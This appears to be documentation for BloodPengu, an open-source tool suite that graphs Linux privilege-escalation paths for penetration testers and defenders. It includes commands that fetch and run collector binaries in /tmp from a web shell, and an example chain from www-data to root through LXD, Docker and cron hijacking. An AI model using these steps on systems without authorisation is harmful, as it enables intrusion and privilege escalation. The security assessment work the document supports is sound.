BloodPengu

Degree Visualization of Linux ASR

Attack Paths management (APM)

Maintained by AdverXarial | github.com/pengu-apm | 2026

1. Introduction

BloodPengu is an open-source Linux and Unix ASR and privilege escalation visualization platform. BloodPengu brings graph-based attack path management (APM) to Linux and Unix environments.

The platform operates as a two-component system, a data collection layer that runs on target systems and enumerates privilege vectors, and a visualization layer that ingests collected data and renders interactive attack graphs.

Enable security professionals can identify the shortest path to root in seconds, and defenders can map and close attack paths proactively.

1.1 Design Philosophy

BloodPengu is built around four principles:

- Graph-first made every privilege relationship is model-ed as a directed edge between nodes, making complex attack paths immediately visible.
- Low-privilege operation to all collectors and recon tools are designed to run at the lowest available privilege level, including web shell access.
- Universal compatibility to enable tools compile to static binaries or run as standalone scripts with zero dependencies on target systems.
- Suite modularity to make each tool in the ecosystem is independent and can be used standalone or as part of the full pipeline.

1.2 Ecosystem Overview

Tool	Description	Language	License
`BloodPengu`	Attack Path Management (APM)	JavaScript	BSD-3-Clause
`PyPengu`	Primary Data collector for BloodPengu	Go	BSD-3-Clause
`HydraPengu`	Live behavioural recon and process monitoring	Shell	MIT
`LAY`	Dangerous access file discovery across filesystem	Rust / Shell	GNU GPL v3
`BRACE`	Container and cloud relationship analysis	Shell	GNU GPL v3
`SACSPengu`	Compiler suggestion and binary analysis in shell	Shell	BSD-3-Clause
`TierDangerTable`	BloodPengu query and danger tier reference	HTML	GNU GPL v3

2. Architecture

The BloodPengu pipeline follows a collect, transform, and visualize model. Data flows from target systems through collectors into BloodPengu where it is rendered as an interactive attack graph.

2.1 Pipeline

Stage	Description
`01 Deploy`	Drop the appropriate collector binary or script onto the target. All tools are self-contained with zero runtime dependencies.
`02 Enumerate`	Collector runs at current privilege level and enumerates sudo rules, SUID binaries, group memberships, kernel version, services, cron jobs, and container memberships.
`03 Output`	Collector serializes all findings to JSON (pypengu-output.json) or streams output directly to terminal depending on the tool.
`04 Import`	Drop the JSON file into BloodPengu via the Import JSON interface. The graph auto-populates with nodes, edges, and risk levels.
`05 Query`	Run pre-built queries to surface attack paths from: Shortest to Root, All Paths to Root, Sudo Misconfigs, SUID Binaries, Docker Escapes, Kernel Exploits.
`06 Remediate`	Use the graph to identify and close attack paths. Re-run collectors to verify remediation.

2.2 Node Types

Node	Represents	Color
`USER`	Linux user account	Yellow
`GROUP`	Linux group	Green
`SUID`	SUID or SGID binary	Purple
`ROOT`	Root or root-equivalent account	Red

2.3 Edge Types

Edge	Attack Path
`MemberOf`	User is a member of a group
`LXDGroupEscape`	Group membership enables LXD container escape to root
`DockerEscape`	Group membership enables Docker container escape to root

Edge	Attack Path
`SudoNoPasswd`	Sudo rule allows execution as root without password
`KernelExploit`	Kernel version is vulnerable to a known CVE
`SUIDBin`	SUID binary is exploitable via GTFOBins technique
`CronHijack`	Writable script executed by a privileged cron job
`ServiceHijack`	Writable systemd service unit executed as root

2.4 Risk Tiers

Tier	Score	Meaning
`CRITICAL`	120+	Direct path to root with high confidence which needs immediate action required
`HIGH`	70-119	Strong escalation signal with multiple supporting factors
`POTENTIAL`	30-69	Suspicious finding that warrants manual investigation

3. Tool Reference

3.1 BloodPengu

BloodPengu is the visualization frontend. It ingests JSON data from PyPengu and renders an interactive force-directed attack graph. Nodes represent entities, edges represent privilege escalation paths, and colors represent risk severity.

Repository

> https://github.com/pengu-apm/BloodPengu/

Pre-built Queries

Query	Description
`All Paths to Root`	Renders every possible escalation path from current user to root
`Shortest to Root`	Finds the minimum-hop path using graph traversal
`Sudo Misconfigs`	Filters all SudoNoPasswd and dangerous sudo edges
`SUID Binaries`	Shows all SUID nodes with GTFOBins-exploitable edges
`Docker Escapes`	Filters DockerEscape and LXDGroupEscape edges
`Kernel Exploits`	Shows all KernelExploit edges with CVE references

3.2 PyPengu

PyPengu is the primary data collector. It runs as a static Go binary on the target system, enumerates the full attack surface, and outputs a JSON file that BloodPengu ingests. No dependencies required. Runs at any privilege level.

Repository

> https://github.com/pengu-apm/PyPengu/

Collectors

Collector	Finds
`Sudo`	NOPASSWD rules, dangerous binaries, sudo misconfigurations via sudo -l
`SUID`	All SUID and SGID binaries with GTFOBins cross-reference
`Docker`	Docker and LXD group membership, container escape vectors
`Services`	Writable systemd service unit files and hijackable scripts

Collector	Finds
`Cron`	Writable cron scripts, privilege escalation via scheduled tasks
`Kernel`	Kernel version matched against known CVE database
`Groups`	All group memberships and privileged group identification
`Users`	User enumeration, UID 0 accounts, privilege mapping

Usage

```
./pypengu
./pypengu -v -o out.json
```

Output is written to pypengu-output.json in the current directory. Import this file into BloodPengu via the Import JSON button.

Moreover look-up to the repo for binaries and command usages.

3.3 HydraPengu

HydraPengu is a live behavioral recon and system monitoring tool. Unlike static collectors, HydraPengu observes the system at runtime, watching process spawns, network connections, recurring patterns, and file activity from any privilege level including web shell access.

Repository

https://github.com/pengu-apm/HydraPengu/

Key Capability

HydraPengu detects scheduled and looping scripts regardless of filename. A script named dddd.sh running every five seconds is identified by its process spawn pattern, not its name. This catches attack paths that static collectors miss entirely.

Detection Layers

Layer	What It Detects
`Network`	All TCP/UDP connections parsed from /proc/net. New connections flagged in dynamic mode with PID cross-reference via socket inode.
`Processes`	All running processes via /proc. Suspicious paths in /tmp /dev/shm /var/tmp flagged in yellow. Full command line and owning UID captured.
`Scheduled Tasks`	/etc/crontab, /etc/cron.d, systemd timers, at jobs. Writable scripts flagged immediately.
`File Activity`	Open file descriptors per process. Sensitive paths and world-readable credentials flagged.

Layer	What It Detects
`User Sessions`	Active sessions via who, last login history, active TTY/PTY devices.
`Recurring`	Same executable spawning repeatedly in the watch window. Calculates average interval. Flags scripts by behaviour regardless of filename.

Modes and Usage

Command	Description
`bash hydrapengu.sh -static`	Single-pass snapshot of processes, network, cron, sessions, file activity
`bash hydrapengu.sh -static -v`	Verbose snapshot to adds FDs, resolved hostnames, cron script previews
`bash hydrapengu.sh -static -vv`	Full snapshot, adds process tree, memory maps, raw socket inodes
`bash hydrapengu.sh -dynamic -time 60`	Monitor mode for 60 second watch window for new PIDs and connections
`bash hydrapengu.sh -dynamic -time 120 -v`	Monitor mode verbose for 120 seconds with extended detail

3.4 LAY as Linux Adversar(y)

LAY is a dangerous access file discovery tool. It walks every accessible directory from the current user's privilege level and flags files based on a multi-factor scoring engine rather than a checklist or wordlist.

Repository

> https://github.com/pengu-apm/LAY/

Scoring Engine

Every file receives a numeric confidence score from six independent signals. Signals combine and must exceed threshold values to produce output. This eliminates the false positive flooding common in pattern-matching tools.

Signal	Description
`Semantic Root`	Name stripped of leet substitutions and matched against critical, high, and potential semantic clusters.
`Extension`	File extension matched against three severity tiers. .pem is Critical, .env is High, .log is Potential.
`Permissions`	World-writable files, world-readable SSH keys, and executables in home directories flagged at appropriate tier.
`Location Context`	Same extension scores differently by directory. .env in /var/www is High. A script in /tmp is High.
`Leet Substitution`	Substitution only scores if it forms a recognizable sensitive word when decoded. P2sswd decodes to passwd — Critical. 73-usb-net scores zero.
`Safe Path Filter`	systemd units, udev rules, apt files, and locale data filtered unless they contain genuinely critical indicators.

Output Tiers

Tier	Score Threshold	Meaning
`CRITICAL`	120+	SSH private keys, shadow files, world-writable /etc files, decoded leet passwords
`HIGH`	70-119	Database files, env configs, backup files in web roots, SSH directory files
`POTENTIAL`	30-69	Log files with sensitive names, executables in home dirs, unusual hidden files

Usage (just run the binary with executable permission.)

```
./lay-linux-x86_64
./lay-linux-arm64
./lay
```

Building from Source

```
sudo apt install musl-tools gcc-aarch64-linux-gnu
source ~/.cargo/env
bash build.sh
```

Supported Architectures

- x86_64: lay-linux-x86_64 (most CTF boxes and servers)
- ARM64: lay-linux-arm64 (AWS Graviton, Raspberry Pi, M-series VMs)
- x86 32-bit: lay-linux-x86_32
- ARM32: lay-linux-arm32

3.5 BRACE

BRACE stands for “BloodPengu Relationship Analysis Container Engine”. It maps container escape paths, dangerous group memberships, and cloud credential exposure.

Repository

```
https://github.com/pengu-apm/BRACE/
```

Focus Areas

- Docker group membership and socket exposure.
- LXD and LXC group membership and image-based escape paths.
- Container runtime detection for: Docker, Podman, containerd, runc.
- Cloud credential files: AWS and GCP credential paths.
- Kubernetes service account tokens and kubeconfig/kube exposure.
- Privileged container detection and namespace escape vectors.

3.6 SACSPengu

SACSPengu stands for System Analysis for Compiler Suggestion in Shell. It performs binary analysis and compiler-based privilege escalation suggestion, identifying compilation environments and writable source paths.

Repository

> https://github.com/pengu-apm/SACSPengu/

Focus Areas

- Compiler detection: gcc, g++, cc, make, cmake, python, perl, ruby.
- Writable source directories where compilation output can be hijacked.
- SUID binaries that accept user-supplied code execution paths.
- Shared library injection via writable LD_LIBRARY_PATH locations.

3.7 TierDangerTable

TierDangerTable is a visual reference for BloodPengu queries. It provides a quick-reference for attack path queries, node types, edge types, and danger tier classifications during active assessments.

Repository

> https://github.com/pengu-apm/TierDangerTable/

4. Installation and Setup

4.1 BloodPengu Frontend

Requirements

- Node.js 18 or higher
- npm or yarn
- Modern browser with WebGL support

Setup

```
git clone https://github.com/pengu-apm/BloodPengu
cd BloodPengu
npm install
npm start
```

Access BloodPengu at http://localhost:8080. Default credentials: pengu / pengu.

4.2 PyPengu on Target

```
wget https://github.com/pengu-apm/PyPengu/releases/latest/pypengu-linux-amd64
chmod +x pypengu-linux-amd64
./pypengu-linux-amd64
```

```
# From a web shell
curl -o /tmp/pypengu http://yourserver/pypengu-linux-amd64
chmod +x /tmp/pypengu && /tmp/pypengu
```

4.3 LAY on Target

```
uname -m
chmod +x lay-linux-x86_64
./lay-linux-x86_64
./lay
```

4.4 HydraPengu on Target

```
curl -o /tmp/hydrapengu.sh http://yourserver/hydrapengu.sh
bash /tmp/hydrapengu.sh -static -v
bash /tmp/hydrapengu.sh -dynamic -time 60
```

4.5 Building LAY from Source (recommended to just install the compiled Binaries on release Page)

```
sudo apt install musl-tools gcc-aarch64-linux-gnu
source ~/.cargo/env
bash build.sh
```

Build script handles target installation, linker detection, and binary output automatically. All binaries land in ./dist/.

5. Attack Workflow

5.1 Quick Assessment

1. Transfer the appropriate PyPengu binary to the target
2. Run PyPengu and download pypengu-output.json
3. Import into BloodPengu and run Shortest to Root query
4. If no clear graph path, run LAY to discover credential files
5. Run HydraPengu in dynamic mode to catch recurring scripts

5.2 VAPT Engagement

6. Deploy PyPengu on each in-scope Linux host
7. Run BRACE if containers or cloud credentials are in scope
8. Run LAY to discover credential and configuration files
9. Run HydraPengu in dynamic mode for behavioral observation
10. Import all JSON outputs into BloodPengu
11. Run all pre-built queries and document critical paths
12. Screenshot attack graphs for report evidence

5.3 Example Attack Chain

The following is an example privilege escalation chain as discovered by the BloodPengu suite:

Step	Detail
`Start`	Compromised web shell running as www-data
`PyPengu`	Finds tony user in lxd and docker groups, two immediate escape vectors
`LAY`	Finds /home/tony/.ssh/id_rsa with world-readable permissions which is CRITICAL
`HydraPengu`	Dynamic mode detects /opt/scripts/backup.sh running as root every 60 seconds
`BloodPengu`	Graph: tony MemberOf lxd -> LXDGroupEscape -> root (1 hop)
`BloodPengu`	Graph: tony MemberOf docker -> DockerEscape -> root (1 hop)
`BloodPengu`	Graph: www-data -> CronHijack /opt/scripts/backup.sh -> ExecutedBy root
`Result`	Three independent paths to root identified in under 2 minutes

6. Licensing

Tool	License
`BloodPengu`	BSD-3-Clause
`PyPengu`	BSD-3-Clause
`HydraPengu`	MIT
`LAY`	GNU General Public License v3.0
`BRACE`	GNU General Public License v3.0
`SACSPengu`	BSD-3-Clause
`TierDangerTable`	GNU General Public License v3.0

7. Acknowledgements

- SpecterOps.
- SpecterOps BloodHound as original inspiration for graph-based attack path management applied to Active Directory.
- PEAS-ng / LinPEAS for foundational Linux enumeration reference.
- GTFOBins as check-lists binary exploitation reference used in SUID and sudo analysis.
- PsPy as process monitoring approach that influenced HydraPengu dynamic mode design.

BloodPengu Ecosystem Documentation

v1.0.4 | 2026 | AdverXarial | github.com/pengu-apm